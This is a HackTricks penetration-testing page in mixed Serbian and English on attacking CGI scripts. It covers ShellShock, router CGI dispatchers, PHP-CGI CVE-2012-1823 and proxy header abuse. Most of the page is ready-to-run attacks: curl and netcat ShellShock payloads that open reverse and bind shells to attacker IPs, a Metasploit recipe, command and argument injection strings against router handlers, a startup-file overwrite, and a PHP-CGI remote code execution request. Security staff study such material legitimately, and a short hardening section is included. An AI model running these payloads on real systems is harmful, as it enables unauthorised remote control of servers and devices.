CGI Pentesting

Reading time: 6 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Information

The CGI scripts are perl scripts, tako da, ako ste kompromitovali server koji može da izvršava .cgi skripte, možete upload a perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), change the extension sa .pl na .cgi, dodeliti execute permissions (chmod +x) i access the reverse shell from the web browser da ga izvršite. Za testiranje CGI vulns preporučuje se korišćenje nikto -C all (i svih plugina)

ShellShock

ShellShock je ranjivost koja utiče na široko korišćenu Bash komandnu ljusku u operativnim sistemima zasnovanim na Unixu. Cilja sposobnost Bash da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji varijablama okruženja, koje su dinamičke imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo dodavanjem zlonamernog koda u varijable okruženja, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem.

Eksploatacijom ove ranjivosti stranica može vratiti grešku.

Možete pronaći ovu ranjivost primetivši da koristi old Apache version i cgi_mod (sa cgi folderom) ili koristeći nikto.

Test

Većina testova se zasniva na korišćenju echo i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind i out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Centralizovani CGI dispatcheri (single endpoint routing via selector parameters)

Mnogi ugrađeni web UI multiplexuju desetine privilegovanih akcija iza jednog CGI endpoint-a (na primer, /cgi-bin/cstecgi.cgi) i koriste selector parameter kao što je topicurl=<handler> da rutuju zahtev ka internoј funkciji.

Metodologija za eksploataciju ovih routera:

  • Enumerišite imena handlera: scrape JS/HTML, brute-force with wordlists, ili raspakujte firmware i grep-ujte za handler stringove koje koristi dispatcher.
  • Testirajte unauthenticated reachability: neki handleri zaborave auth checks i mogu se pozvati direktno.
  • Fokusirajte se na handlere koji invoke system utilities ili touch fajlove; slabi validatori često blokiraju samo par karaktera i mogu propustiti vodeći znak -.

Generički oblici exploit-a:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Detekcija i hardening:

  • Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ovima sa topicurl postavljenim na osetljive handlere.
  • Označite parametre koji počinju sa - (argv option injection attempts).
  • Proizvođači: zahtevajte autentifikaciju za sve handlere koji menjaju stanje, validirajte koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte korisnički kontrolisane stringove kao command-line flags.

Stari PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

U suštini, ako je CGI aktivan i PHP je "old" (<5.3.12 / < 5.4.2) možete izvršiti kod. Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu na web serveru bez slanja parametara (posebno bez slanja karaktera "="). Zatim, da biste testirali ovu ranjivost, možete pristupiti, na primer, /index.php?-s (primetite -s) i izvorni kod aplikacije će se pojaviti u odgovoru.

Zatim, da biste dobili RCE možete poslati ovaj specijalni upit: /?-d allow_url_include=1 -d auto_prepend_file=php://input i PHP kod koji treba izvršiti staviti u telo zahteva. Example:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Više informacija o vuln i mogućim exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM za zahteve Web servera)

CGI kreira promenljivu okruženja za svaki header u HTTP requestu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com"

Budući da web server može koristiti promenljivu HTTP_PROXY, pokušajte poslati header koji sadrži: "Proxy: <IP_attacker>:<PORT>". Ako server izvrši bilo koji request tokom sesije, moći ćete da presretnete svaki request koji server napravi.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks